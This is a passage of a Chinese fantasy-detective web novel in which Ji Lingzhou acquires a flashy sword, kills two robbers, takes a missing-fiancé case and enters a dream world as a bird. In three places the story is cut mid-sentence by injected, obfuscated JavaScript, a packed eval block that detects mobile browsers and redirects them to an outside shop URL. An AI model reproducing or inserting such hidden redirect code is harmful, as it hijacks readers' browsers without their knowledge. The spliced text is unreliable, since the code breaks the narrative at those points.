“没有了。涅伽拉德一直太平,您住这儿,算是挑对地方了。”红发服务生看到店主的目光朝这里扫来,连忙站起来,开始擦旁边的桌子。 在季泠州看来,一切正常恰恰是最不正常的信号。 看看时间,已经是下午一点了,到了房屋中介的工作时间。他买了杯咖啡,拿在手上,一边喝一边往他们的办公室走去。 “请问豪斯先生在吗?”今天房屋中介公司的人意外地全员到齐,但没人说话,气氛沉重。 前台听到季泠州的话,明显紧张起来:“不在,豪斯先生已经好几天没出现了。” 头发稀疏的主管猛得瞪了前台一眼,吓得她连忙改口:“不,豪斯先生离职了,我可以为您介绍别的同事。” 工作人员顿时噤若寒蝉,大气都不敢喘,季泠州扫视人群。 【粗心】、【正直】、【交友广泛】、【摸鱼大师】、【爱吃甜甜圈】、【女装爱好者】、【自虐狂】、【好人】、【谨慎分裂】、【卷王】…… 嚯!小小一间办公室,还真是仙之人兮列如麻呀! “女士,请问可以叫那位穿深蓝色正装,褐色头发的先生帮助我吗?”季泠州果断了选了有【正直】和【交友广泛】标签的中介。 前台点点头:“罗索先生,麻烦你来一下。” 罗索看到季泠州很是惊讶,小跑着过来了,带他去了会客室。 “您是季先生吧,我记得你是豪斯的客户。我有什么能帮助你的吗?”罗索单刀直入问道。 “我想把我的房子买下来。” “明白了。”罗索在身后的档案柜里翻找了一番,回答,“你需要支付三百七十个金帆,手续费包含在内。” “能少一些吗?我刚到涅伽拉德,手头不算宽裕。”季泠州的积蓄支付房款绰绰有余,但他不想给别人留下大方豪爽的印象。 罗索脸上露出难为的神色:“季先生,我们的价格都是主管定的,我做不了主。” “豪斯先生呢?他去哪了?”季泠州忽然问了一句。 罗索眉头微微一皱,随即恢复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车夫指着旁边那辆险些撞上二人的黑色马车,说:“该死的黑乌鸦,到处都是。” “这是?” “收尸人。先生,这趟得加钱,碰上他们可不吉利。”车夫苦笑。 “哦?”季泠州面色凝重地看着收尸马车,从车篷的缝隙能看到,里面塞满了堆叠的尸体,以老人居多,还掺了两个孩子。 他们像麻袋一样堆在一起,惨白的肢体叠在一起。 每具尸体的头顶,都浮现着相同的标签——【蠕行者的食物残渣】。 季泠州掏出一个生丁,递给车夫,顺便问了一句:“收尸人会把这些可怜人的尸体带到哪里去?” “郊区墓地,专门埋我们这样的下等人。”车夫耸耸肩,一副见怪不怪的样子。 季泠州心里记下这个地址,决定抽时间去看看。从受害者身上,或许能推测出蠕行者的生效规则。 进而找到抵御它的办法。 13. 高光 萨拉菲尔古董店,光明路194号。 季泠州拿出纸条核对了三次,确定没有走错,这才推门进去。 店里很昏暗,靠墙的地方摆着和房顶一般高的书架,上面摆满了大部头。 地中间则乱七八糟放着置物架,上面摆满了各式各样的物品,堪称一座由旧物组成的迷宫。 店里弥漫着一股奇怪的味道,像是有人用醋在煮孜然,还将香蕉皮放到火里烧。 店里看不到人,他在堆得高高的柜台上翻找一番,终于找到一个按铃。 “叮铃铃!” “来了来了。”柜台后面,传来老人的应答声。 下一刹,墙上一幅巨大的油画被掀开。 一个头发凌乱,脸上沾着黑灰的中年人钻了出来。 “萨拉菲尔,你找什么?”他压了压自己的头发。 季泠州狐疑地打量着眼前的人,他很怀疑这地方是否有能用的武器。 “塔洛恩·加兹鲁维让我来。” 萨拉菲尔的脸一下子拉得老长:“又是侦探协会的?哼,一群想要空手套白狼的吸血鬼。”他用极低的声音说了最后几个字。 季泠州很是无奈。 “行了,在一楼挑吧,只能选一件。这里面有异常物,能不能选到就看本事了。”他叉着腰,不耐烦地说。 很好,终于到了最擅长的步骤——捡漏,季泠州微微一笑,全力调动“鉴定”。 密密麻麻的标签浮起来。 【花栗鼠钱包:外观是棕黑色的花栗鼠标本,它的腮帮比你想象得大多了。】 【高光:它曾经的主人是一位套路武术大师,将自己毕生感悟全部灌注在了这把剑上。至于它有什么用?没有!】 【牙齿训练盘:材质是风干黑面包。用它盛放的食物,吃起来比石头还硬。】 【废弃魔药瓶:或许,用它装酒是个不错的选择,能让你时刻喝得大醉。】 【挤脚靴子:永远比你的尺寸小一码,即便是婴儿穿上,也会觉得挤脚。】 …… 大部分东西没什么用,少部分功能甚至显得奇怪。 翻来翻去,季泠州决定选最漂亮的那件——那把镶嵌了许多宝石、雕刻精美剑鞘鎏金的单手剑。 “你确定要这个?”萨拉菲尔问。 他点点头,心想即便没什么战斗力,当作古董卖也能值不少钱。 萨拉菲尔长叹一口气:“这是把东陆剑。传闻它的主人是一位骑士。他失职了,导致一座城的人跟着他死了。然后他疯了,只留下这把剑。” “原来如此。”季泠州记下这个故事,决定在出售它的时候和塔洛恩一样介绍,以抬高价格。 “东陆的东西,在这儿不值钱。我给你一个机会,可以换一件。喏!那个花栗鼠标本挺有用,能装不少东西。” 季泠州眯起眼睛,重新打量萨拉菲尔,据他观察,花栗鼠钱包是这里面最有用的物品。 【男性】、【中年人】、【古董店老板】、【侦探协会合作人】……能读到的信息,未免太干净了。 萨拉菲尔坐下,离开季泠州的视线。 “行了,登记完名字就走吧。”他举起手,指向柜台上的登记簿。 季泠州不愿放弃,探着身子,试图再看他几眼。奈何萨拉菲尔很不客气,三言两语就将他打发走了。 他只好要了几张牛皮纸将长剑裹紧带走。 …… 萨拉菲尔古董店很是偏僻,附近没有马车租赁点。 季泠州只好沿着街往回走,收尸人的黑马车不时从他身边经过,看来今天涅伽拉德死了不少人。 走到一段路灯坏了的街道时,猛地冲出来一伙人。 “把值钱的东西都交出来。”带头的喊了一声,剩下的人默契地围住了季泠州。 他们个个蒙着脸,穿着蓝灰色的粗布工装,手上拿着棍子和匕首。 季泠州插在口袋里的手悄悄握住了人体描边大师的福音,他有信心一颗子弹打死一个敌人。 可问题是在场人数是子弹数量的两倍。 他决定破财免灾。 “各位,我可以把钱给你们,希望你们能放我离开。”他掏出钱袋,丢在地上。 带头者眼中一喜,弯腰便要去捡,却被旁边的人一把拉住。那人压低声音在他耳边说: “瞧这小子,是个外乡人。看那张像女人一样精致的脸蛋,三色堇会所的经理绝对愿意为他支付一大笔赏钱。” 带头人眼神微动,还是捡起了钱袋,打开扫了一眼。 “这点钱可不够,不如让我们帮你介绍个好去处,多赚些钱。”他双臂抱胸,用蛮横的语气说。 看来这事无法善了了! 季泠州的眼神也冷了下来,转眼望向提议的蒙面人:“我记得你,今天下午就是你送我过来的。” 那车夫索性摘下蒙面的黑布,抡起手里的木棍,朝季泠州扑来:“小子,要怨就怨你是外乡人吧。” 季泠州一把掏出人体描边大师的福音,干脆利落一枪射出,在超凡力量的加持下正中车夫的眉心。 他一声不吭地扑倒在地,血液混着灰白色的脑浆流了一地。 带路党必须死! 剩下的人被这神乎其神的枪法镇住了,顿时站在原地。 “你们忘记了如何走路吗?一群只敢躲在阴沟里的懦夫!”杀人诛心,他用讥诮的口吻,同时“问候”了在场每一个人。 带头大哥头上暴起几根青筋,牙都咬紧了。 “他枪里能有几颗子弹,一起上。卖了他,大家都能拿着钱逍遥快活!”他举起手,高喝一声。 回应他的是一声枪响。 带头大哥和车夫一样,头朝下栽倒了。 “还有谁?”季泠州笑眯眯地说。 “跑呀!”不知是谁叫了一声,乌合之众一哄而散。 望着四下奔逃的背影,空气中弥漫着浓郁的血腥味,季泠州用力抹了把脸,手心一片湿黏,不知道是血还是冷汗。 胃后知后觉地翻涌起来,他弯下腰,干呕了几声,却什么也没吐出来。 他弯下腰,从尸体手里拽过自己的钱袋,揣进怀里。 忽然又丢得远远的。 季泠州心中惶然,自己从什么时候起开始适应这一切的呢? “¥%#” 他低声骂了一句,将无用的情绪压下,走过去捡起钱袋,然后又在尸体身上翻找了一番。 一小把生丁、借据、半个吃剩的苹果…… 他厌弃地看着手里的杂物,随手丢掉苹果,将剩下的收起来。 做完这这一切,才转身离开。 涅伽拉德的夜晚,冷清又热闹。正如此刻,越往回走,路两边完好的路灯越多。 暖黄的灯光下,行人的衣着逐渐整洁得体,脸上的神色也轻松起来。 人们低声聊着工作、剧院演出,让季泠州不由地心中放松。 泛着寒意的海风里满是湿润的水汽,要下雨了。 他裹紧衣领,心想明天得去买些厚实的衣服。 一个小小的身影忽然拦在他面前,是个瘦骨嶙峋的小女孩。 她脸蛋脏兮兮的,嘴角起皮,仰头请求:“善良的先生,能给我些吃的吗?” 季泠州不动声色地扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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身体里的能量奔涌而出,包裹住长剑。 【高光:它曾经的主人是一位套路武术大师,将自己毕生感悟全部灌注在了这把剑上。握住它,你就是新的套路武术大师。(虽然实战性差了些,耐不住打得好看呀!)】 【备注:你总能以潇洒帅气的姿势将它拔出。】 信息涌入脑海。是熟悉的风格,有点用,但……算了,死马当活马医吧! 季泠州握住剑柄,用最后的力气将高光抽出。 刹那间,大量剑术记忆涌入脑海,身体仿佛经年累月锻炼过一般,生出本能般的肌肉记忆,变得灵敏有力。 这感觉,就像给千禧年的电脑装上了Tahoe,风扇狂响。 季泠州动作利索地从地上跃起。手腕不由自主地挽了个剑花,负剑身后,摆出个潇洒的造型。 他困惑眨眼。 啊这! 身体你在做什么?生死攸关的时刻,怎么还顾得上耍帅?! 瘸腿老头看到,同样大惊失色,他从未想到,这个半死不活的年轻人还有翻盘的机会。 他朝着季泠州掷出小刀,然后高举棍子扑了上来。 破伤风攻击!比单纯的刀伤更要命。 刀未至,身先动。 季泠州以这辈子从未有过的敏捷,旋身一转,长臂挥洒,用剑刃磕飞了破伤风小刀,然后收剑入鞘。 全部动作都如行云流水般洒脱自然。 他已经不想吐槽了,即便是以自己外行的眼光看,刚才的动作里也有一大半是完全没必要的。 偏僻的街巷再次安静了下来。 季泠州擦掉脸上的血,拄着高光站直身子。 大雨终于落下,噼里啪啦打在地上。 远处的明亮的灯光,打在身侧,他将手伸进雨里,血水顺着指缝流淌一滴滴落在地上,将脏兮兮的石砖染红。 14.挚爱亲朋和新委托 单调的敲击声在会客厅内回响,蠕行者化成塔洛恩·加兹鲁维的样子,执着地敲打着窗框。 “唰”一声,窗帘自己拉上了。 “做得好,以后天一黑就关掉窗户和门,保持室内光照。”季泠州夸了彼方一句。 彼方摇了摇衣帽架,表示知道了。 盥洗室里,衣架托着洗好的衣物飞起,寻了个不碍事的地方挂起来。 但水龙头依旧流个不停。 他熟练地拿个桶放在下面,熟练地抚摸墙壁,用温和的语气安慰彼方: “乖,别哭了。出了点意外,不严重。” 二楼书房的抽屉猛地弹开,银光一闪,巴掌大的罐子顺着楼梯滚落下来,落到季泠州面前。 【万用药膏:它可以治疗感冒、外伤、脱发、脚气、牙疼、痔疮、心情低落等多种常见疾病。】 这是他闲暇时构筑的,原材料是医生那买的药剂、水蛭、花园里摘的薄荷和油脂。 说到这,他必须承认地球中世界的西方医学给了他极大的灵感。 上次感冒时用过,效果极好,堪称药到病除。美中不足,涂抹过的地方火辣辣地疼,就像被魔鬼逮住后,用铁签子穿住然后架在火上烤。 季泠州已经接受现实,自己构筑的异常物大多副作用严重。这一点,倒符合超凡第一定律——万事万物皆有代价,超凡尤甚。 衣帽架探出个枝丫,直勾勾指着季泠州背上的大块淤青,示意自己要帮他涂药。 彼方智慧增长的速度超乎想象。 季泠州想,大概是它作为一座房子,随时随刻都能观察路人、邻居,然后自我学习的原因吧。 他收起药膏,掏出个牛皮纸包,试图转移彼方的注意:“我给你带了礼物,猜猜是什么?” 房屋惊喜地一阵抖动。 这次没有灰尘落下,因为彼方每小时都会清理一次灰尘。 他拆开纸包,只见里面是亮闪闪的玻璃球,五颜六色的。 衣帽架弯出个“?”。 “我教你识字,以后依旧可以用它和我说话啦。喜欢吗?”他微笑着把玻璃球放在地上。 玻璃球滴溜溜地滚动起来,拼成个\(^o^)/。 他从书架上寻了本奥伦特语的《东陆游记》,一字一句念起来。 窗帘摇曳,壁炉瞬间明亮起来。 …… 漆黑的甬道里,伸手不见五指。 季泠州伸手摸索着石壁,一点点往前走,前路似乎没有尽头。 忽然,冰冷柔软的某种东西缠住他的脚腕,然后缓缓向上攀,直到勒住他的脖子。 他开始挣扎,下意识地想寻找武器。 “咚”厚实的硬壳书砸在地毯上,身上盖的毯子滑下来,自己不知什么时候睡着了。 淡金色的阳光自窗帘缝隙里射进来,将支离破碎的梦境画面驱散。 季泠州大口喘着气,感觉自己刚做了个噩梦。 望着手里寒光闪闪的剑刃,陷入了沉思,记得昨晚回来时,顺手将高光放门口了。 他找来门厅的剑鞘,试着又拔了几次。 原来如此。 季泠州发现,高光备注里那条——“你总能以潇洒帅气的姿势将它拔出”实则是大有深意。 经过一小时的尝试,他发现能将高光从袖子、口袋、腰间、背后,甚至是凭空拔出。 无论剑放在哪里。 只要动作足够潇洒帅气,一切皆有可能。 实用性瞬间增强,要知道涅伽拉德不禁止民众携带武器,但人们还是会下意识提防带武器的家伙。 这样一来,没人能想到一个两手空空的人,能随时拔出一米长的凶器尽情挥砍。 像昨天被小混混围住时,高光就比描边大师实用得多。 季泠州不忘在心中警告自己,千万不要过度依赖高光。 作为一把套路之剑,它用于耍帅的心思,远比用于实战来得多。 玻璃球忽然滴溜溜地滚动起来,拼成个人的形状。 下一秒,门铃声响起。 “请问季先生在吗?我是侦探协会介绍来的。”门外响起温柔的女声。 有委托人上门了,听声音还是个熟人。 季泠州压低声音,叮嘱彼方:“打开窗帘和窗户。再煮一壶茶,注意不要让她发现你。” 衣帽架点点头。 他匆忙换了件干净的衣服,打开门。 艾希莉·贝内特站在门口,看到他时,满脸愕然。 “原来是您……我没想到,怀特叔叔介绍的人,会是您。” “我们又见面了,请进。”他优雅欠身,将客人带到了会客室。 “季先生,这是怀特先生给你的信。”艾希莉·贝内特递给他一封用火漆封住的信。 季泠州接过信,对着阳光装模作样地检查着火漆上的侦探协会徽记。他其实看不懂,但好在有“鉴定”能力。 【怀特的信:夜莺留了些信息给你。】 “没问题,是怀特先生的笔迹。”他煞有介事地说,然后拆开了信。 信纸带着淡淡的香气,上面用黑色花体字写着寥寥数行,说明艾希莉·贝内特是他故友的女儿,希望季泠州能帮助她完成委托。 内容很简单。 需要注意的是信纸的空白处,一行金色小字备注了只有他才能看到的信息: 艾希莉·贝内特所寻之人已确认死亡,请帮我安慰她,勿要帮她寻找,委托费用照常支付,多谢。 看来这就是塔洛恩·加兹鲁维嘴里的优质委托,他想。 季泠州将这行小字读了几遍,用余光打量着对面的女人。 她眼眶通红,像是刚哭过一场,神色憔悴且带着不信任,发白的脸上挂着两个大大的黑眼圈。 艾希莉·贝内特也在观察季泠州。 她注意到,对面的年轻男人脸上有种不健康的苍白,但笑起来很是开朗,就像那种长在阴暗处的植物,竭力舒展枝叶承接阳光,好开出漂亮的花儿,结出红润的果儿。 不知道为什么,她看着对面的人,总感觉脑袋隐隐作痛,让她回忆起前两日那次糟糕的宿醉,醒来后发现自己裹着窗帘躺在地板上。 季泠州移开目光,心中有了念头,随手将信纸放在茶几上。 “贝内特小姐,请容许我去泡一壶热茶,最近实在是太冷了。”他站起身,朝着厨房走去。 片刻后,季泠州端着托盘回来了。 上面有热茶、蜂蜜、方糖块、牛奶、一碟饼干和两个杯子。 他先给自己倒了一杯,然后做了个请的手势。 “请给我讲一下您遇到的困难吧。” 桌子上的信纸纹丝未动,但艾希莉·贝内特脸上的神色缓和多了,增添了几分信任。 她小口啜着热茶,随着这个动作,整个人似乎都放松了下来,然后说道: “半个月前,我的未婚夫赫尔曼·苏利文失踪了。” 她停了一下,声 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季泠州陷入沉默,连正规军的人都遇难了,找自己这个业余人士,真的可靠吗? “你们感情很好吗?”他忽然问。 “我们读大学时认识的,是很好的朋友。后来到了年龄,母亲说我再不结婚就成老姑娘了,家里压力很大,赫尔曼愿意帮我” “季先生,请您替我保密。”她忽然慌张起来。 “这是每一个合格侦探的素养。” 季泠州心里叹了口气,无论在哪个世界,催婚都是主旋律。 即便是艾希莉·贝内特这样毕业于洛萨兰国家大学、在市政厅工作的高材生也不例外。 “你有他的物品吗?” 艾希莉疑惑抬头。 “呃,我是说,我有个朋友嗅觉灵敏……不,是我朋友有条狗,嗅觉灵敏,或许可以帮助寻找。”季泠州解释。 “赫尔曼曾送给我一个他亲手雕刻的古叶弥王朝风格的木雕,应该算得上吧。” 艾希莉的眸子里闪着光,这种寻人方式她闻所未闻,说不定真能找到。 “可以。方便的话请拿给我,但那只狗破坏力比较强,可能会在寻找过程中损坏木雕,我有必要提前告知你。” 思来想去季泠州还是想试试,他决定用“修改器”制作一个赫尔曼·苏利文定位器之类的构筑物,找到尸体也是好的。 鉴于自己曾用洋甘菊精油构筑出一只手表,他不确定构筑之后,木雕是否能维持原状。 “可以,我这就回家取。”艾希莉·贝内特立刻站起身。 季泠州摆摆手:“不着急,我一会儿有点事情要处理,我们下午三点见。” “好。” 送艾希莉·贝内特离开后,他便出了门,直奔侦探协会而去。 他必须和“怀特”先生了解真实情况。 …… 侦探协会三楼。 精致的办公室里,弥漫着莫名的香气。 天鹅绒扶手椅上,夜莺十指交叉,饶有兴致地望着季泠州。 “新人,你找我有什么事?” “哦?我还以为是你要我过来的,看来是我误解了。”他站起来,礼貌欠身后转身离开。 就在他握住门把手的那一刻,身后传来声音:“站住。” 15.梦境行者 季泠州从善如流,再次坐回到夜莺对面。 “我要带你看些有趣的东西。”夜莺伸出手,示意他握住。 下一刹,周围的空间破碎。 夜莺拉着他,穿过山峦和云海,涅伽拉德变成灰黄色的脏污斑块,被抛到身后。 二人在一座巍峨的雪山峰顶站定。 她淡淡地开口:“重新介绍一下,我是五阶的【梦境行者】。” 凌冽的风夹着大片的雪花打在二人脸上。 季泠州向远处眺望,只见山峦之巅,潺潺泉水自崖缝间渗出,在山岩间蜿蜒流淌。 水流逐渐汇聚成一条宽阔的大河,在平原上蔓延出无数支脉,自东向西汇入大海。 浪花翻涌,隐约能看到一张张熟睡的脸庞,他们紧闭双眼发出呢喃细语。 在“鉴定”的视野里,这条河上笼罩着一层黑气,和蠕行者身上的如出一辙。 夜莺缓缓开口:“死亡笼罩了涅伽拉德。” 季泠州问:“是有人刻意为之?” “我不知道,或许是某个半神在做实验,或许是那些信奉邪物的疯子想找点乐子。” “我们需要做的,就是尽可能把那些垃圾找出来,处理掉。” “我愿意效劳,假如我有余力。”季泠州的话语毫无诚意。 夜莺摇摇头,似乎看穿了他的想法:“有一种超凡职业能力比较特殊,能破除迷雾看到阴影下的东西,通常称作‘真实之眼’。” 季泠州不置可否,继续欣赏涅伽拉德居民梦境构筑的河流。 她自顾自地说:“你能凭借那封信上的线索找到我,说明你是个敏锐谨慎的人。这样一个人,却轻易接受了陌生人给予的异常物,这不符合逻辑。” “唯一的解释是,你有办法确定它们的功能。” 他想,过程全错,但结果正确,说得就是夜莺这样的人吧。 “是的,夜莺大人您猜对了,真实太厉害了。”季泠州用充满感情的声调夸赞道。 夜莺瞥了他一眼。 “真实之眼是柄双刃剑,它能让你规避很多危险,也能让你看到不该看的东西。” “在超凡的世界里,很多时候,当你看到它们,它们就能碰到你了。” 不知什么时候起,她绕到了季泠州身后,冰冷的手轻轻按在他脖颈后面。 他浑身的寒毛一下子就竖起来了,仿佛被某种猎食动物盯上。 “就像这样。”夜莺缓缓放下双手。 她微微勾起漂亮的唇,弯出个冷酷的笑。 季泠州不动声色地拉开和夜莺的距离:“大人找我有什么事吗?” 夜莺:“我要让你帮我寻找到它们,蠕行者、幸运的倒霉蛋、或别的什么东西。” “按件付酬。” “我为什么要帮你?” 夜莺:“我想塔洛恩没跟你说过,有一个超凡职业叫‘工匠’。他们能剥离超凡者的躯体和力量,做成异常物。” 她抬起白皙修长的指头,轻轻抚摸季泠州的眼睛。 “我一直觉得东陆人的眼睛最美,漆黑明亮,就像夜空一样深邃,我希望你能一直拥有它。” “上周,旧世界最有名的工匠坐上了来涅伽拉德的客轮。” “对了,忘了告诉你,上一个大家知道有‘真实之眼’能力的人,叫赫尔曼·苏利文。” 季泠州简直要在心里为自己“喝彩”了。好家伙,你还真是块唐僧肉呀! 他已经竭力隐藏自己的职业能力了,没想到还是露了这么大的破绽。 “也就是说,你会保护我。”他顿了顿,“至少在你还觉得我有价值的时候。” 夜莺眼中闪过一抹欣赏,点了点头。 他很冷静:“你们没保住苏利文,也未必能保住我。” 夜莺:“侦探协会和异对司不一样。” 季泠州:“梅特伦说过,你是异对司借调来的。” “……”夜莺,“你想要什么?” “塔洛恩给我的侦探日报里面的信息不够,我需要更多的超凡知识。”此前,他检索天命皇帝的信息时,报纸显示查无此人。 “很好,你寻到一个异常,或异常物。我允许你进入协会的书库借阅一本书。” “我冒着生命危险寻找异常,就给我一本?” “很多书本身就是异常物,记载着禁忌的知识。你二阶出头的水平,看多了只会疯掉。”夜莺摊摊手,“报酬里还包括我监护你看书的时间成本。” “成交。” 夜莺满意地笑了,打了个响指。 季泠州眼前一花,发现自己仍在夜莺的办公室里,周遭景象与离开前毫无二致。 夜莺掏出沓文件开始批阅。翻了几份后,发现他还在原地。于是抬抬下巴,示意他离开。 季泠州并不着急:“说来凑巧,我来的时候,在路边看到了一件奇怪的异常物,或许是你要找的。” 他从兜里掏出一个带指针的圆盘,放在桌上。 【篡命抽奖盘(使用次数1):指定对象后旋转,重置对方当日运气。——喜报,转盘也能算命!】 夜莺的瞳孔放大了一瞬间,尽管她对眼前的新人充满信心,还是没料到他的效率如此之高。 就在一个小时前,在这间办公室里,她还和塔洛恩·加兹鲁维打赌,猜这个新人需要多长时间能寻到第一个异常。 塔洛恩说一个月,她反驳说是一周,两人为此还各下了二十金帆的赌注。 现在看来,谁也没猜对。 她小心地捧起【篡命抽奖盘】,放在脸前打量。 这件异常物的材质是陶瓷,看起来很眼熟,是缝纫匠大道最常见的那种,一个佛尔就能买一沓。 指针是木头雕的,手艺很差,只能勉强看出针的形状。 无论从哪种角度看,都像小孩儿的玩具,一个拙劣的笑话。 但上面缭绕的那股灵性假不了…… 自从一百年前,天命皇帝失踪,就再没见过命运系的异常物了,就连命运系的超凡者都没出几个。 夜莺深深吸了口气,然后从口袋里掏出一个生锈的放大镜,仔仔细细地检查起来 她看了一会,神色忽然郑重,从书桌上的便签夹里扯出张纸,十指翻飞叠成一张纸鹤,然后对着鹤头呵了一口气。 纸鹤骤然活了过来,它轻轻啄了几下夜莺的指头,摇摇晃晃地飞起来,消失在空气里。 “塔洛恩大部分时间待在他的休息室里。那里不是表世界,常规的联络方式没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190611|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。”夜莺解释。 “表世界和里世界有什么区别?”难得有机会向大佬请教,季泠州立刻提问。 夜莺沉默了一会,似乎在组织语言。 “以你的位阶,可以理解为里世界和表世界互为镜像。” “二者是一比一相对的吗?” “差不多。但里世界更加危险,许多异常都是里世界在表世界的投影,它们的本体会凶很多。” 季泠州若有所思:“那捕捉塔坎瑟斯马会有危险吗?” 纸鹤忽然从空气中冒了出来,气鼓鼓地落在夜莺手上。 他敏锐地发现,纸鹤翅膀上有大块油渍,还散发着甜甜的香气。 夜莺满脸嫌弃地拆开纸鹤,几块酥皮点心渣掉在她干净地桌面上。 纸条里似乎写了字,她扫了一眼便递给季泠州。 他接过,只见上面用隽永飘逸的笔迹写着一行字——“两小时后来,稍等。” 笔迹略显潦草,但依旧能看出是下过功夫的。 不得不说,塔洛恩的字迹和他的外貌很不相称。 夜莺等季泠州看完,用两根手指捻起纸条,丢进垃圾桶。 “现在就开始吧,捕捉塔坎瑟斯马,我看着你。”她将桌子上的纸包拆开,开始处理其中的材料。 “不是说仪式失传了吗?”季泠州问。 “哦,他们是这么和你说的?”夜莺微微一笑,“其实是协会建立的契约通道发生了点小故障,四阶以上的超凡者才能稳定通道。” “大家都那么忙,自然就……” 听了夜莺的话,季泠州心里越发没底。 他也不是一无所知的新人了,四阶超凡者无论走哪,都能称得上是超凡世界的中流砥柱了。 唯有经年累月冥想,沟通里世界积累灵性,然后不断练习职业能力,还得有一定天赋的人,才能升到四阶。 这几乎是大部分人一辈子能达到的巅峰了。 四阶超凡者都对付不来,自己区区一个二阶,能行吗?他对此深表怀疑。 奈何夜莺的动作特别快,短短十几秒,她就将包裹里的材料混在了一起,调配出一瓶暗红色,里面沉浮着可疑昆虫肢体的粘稠液体。 她伸手对着瓶口扇了几下,一股浓郁的臭鸡蛋味儿顿时弥漫到季泠州鼻子前。 他忍不住打了个喷嚏。 “调配的没问题,我们开始吧。”她将指头伸进瓶子,挖了一大团。 “等等,你要做什么?”季泠州顾不得礼貌,一只手插进口袋握住高光的剑柄。 他一边说,一边已借助高光的加持,以灵敏迅捷的动作向旁闪避。 “不错呀!小子,二阶就这么灵活。”夜莺称赞一声。 然后以肉眼几乎看不清的动作,将液体涂抹在季泠州的脸上。 显而易见,开了挂的二阶再强,也比不上五阶。 暗红色液体抹到脸上后,一股炽热的感觉沿着肌肤渗入四肢百骸。 一阵天旋地转,就像喝醉了酒一样,季泠州摇摇晃晃地扶住桌子。 他歪着头,试图看清眼前的景物。 然而,只能模糊看到微微勾起的嘴角,和一只修长有力的手。 下一刹,世界仿佛在眼前旋转、碎裂。 16.塔坎瑟斯 炽热的岩浆向四面八方流淌。焦石堆里,多足昆虫尖啸着振翅飞翔。 地火喷涌,一只灰褐色巴掌大的鸟狂扇翅膀,堪堪躲过。 火焰将鸟的尾羽烧掉一截,让它飞得越发歪斜。 季泠州的心都提起来,这是他第一次飞行,没有乘坐飞机,也没有借助滑翔伞之类的工具。 纯靠一对翅膀。 他猜想,自己或许已经进入里世界了,在夜莺的神奇药剂的帮助下,以一只鸟的身份。 这片满是火焰和岩浆的大地无边无际,毫无落脚之处。 这具鸟的躯体里,体力近乎无尽。 不知道飞了多久,就在他几乎要忘记自己曾是个人时,终于看到了一片无火的岩石地。 他精神一振,浑身上下的羽毛都支棱了起来。 那双绿豆大的鸟眼,精准地捕捉到嶙峋怪石里,顽强生长着的一丛灌木。 巴掌似的叶子里,挂满了指甲大的红色果实。 以人的身份,季泠州认不出那是什么。但以鸟的身份,他知道那东西能吃。 他调整翅膀的角度,朝着灌木一头扎了下去。 然后,精确地被套绳缠住了爪子,他挥舞着翅膀试图挣开,却徒劳地让绳子缠得更紧了。 挣扎牵动枝丫,几个果子掉落砸在头上。 季泠州欲哭无泪,也太倒霉了。 苍白挽歌,是你又生效了吗?回答我! 自打塔洛恩把那雕塑送来,自己几乎日倒一霉,厄运不断。 刀子捅、棍子砸、挖眼的还在路上,如今又困在了捕鸟陷阱里。 他头朝下,静静地挂在那里思索人生。 昏沉的天空,飘来几片巨大的积雨云。 电闪雷鸣过后,拇指大的冰雹砸了下来,接着是滂沱大雨。 季泠州浑身的羽毛都湿透了,贴在身上。 朦胧中,想起动物世界看过的一句话——体型越小的动物越容易失温。 他失去了意识。 …… 篝火噼啪作响。 鼻尖弥漫着熬煮谷物的香气,似乎有人在摸自己的头,意识到这,季泠州猛地睁开了眼睛。 一条几十米长的柱子朝自己探来。 他跌跌撞撞着朝一边躲去,失去平衡试图抓住什么稳住身子,却震惊地发现自己没有手。 他径直掉到了某种炽热黏稠的液体里。 “别乱动!”有人惊呼一声。 一只手迅速将季泠州从锅里捞了出来。 他这才想起来,自己变成了一只鸟,刚才的柱子,大概是那人的手臂。 面前,是一堆篝火,上面用石块架着一个陶罐,里面煮着淡黄色的块状物。 是马铃薯,这个世界的人更喜欢称其为“地豆”。 火堆旁,是间歪斜的茅草屋。 一个岁数不大的年轻人正拿着布片,小心翼翼地帮季泠州擦拭羽毛。 年轻人眉目精致,神色专注而平和。 “我很久没见到活着的生命了,你是从哪里来的?有家人吗?相比你的家人也是鸟吧。”他话很多,自顾自地说个不停。 “不好意思。我忘了,你是一只鸟,而且看起来很笨。”年轻人微微一笑,露出整齐的牙齿。 没多久,年轻人就擦干了所有羽毛。他抓了一块地豆,放在手心,示意让季泠州吃。 毛茸茸的鸟脸上露出人性化的不情愿神情。 他并不需要食物。 他是人,并不愿意像鸟一样,从人类的手里取食。 而且,上次主动寻找食物的经历给他留下很不好的印象。 最重要的是陶罐口笼罩着一圈朦胧的光,被氤氲水汽笼罩,很是显眼。 会发光的地豆? 里世界的植物,还真是让人(鸟)大开眼界。 季泠州撇过头,振翅向一边的架子飞去。 年轻人脸上怅然若失:“你也不需要吃东西吗?或许你也是幻象。” 他打了个响指,茅草屋、篝火和陶罐瞬间消失。 “该继续出发了!”他轻叹一声。 周围依旧是一望无际的旷野。 季泠州的爪子刚要碰到架子,架子就消失了。他只好扇动着翅膀兜了一圈,重新落在年轻人的头上。 年轻人感觉头顶一重,惊喜万分:“你是真实存在的吗?” 他的声音很好听,如山间清泉,干净透亮。 季泠州想说:“是。”嘴里却发出清脆的鸟叫声。 年轻人伸手抚摸了一下季泠州脊背的羽毛,笑着寻了个方向,大步出发。 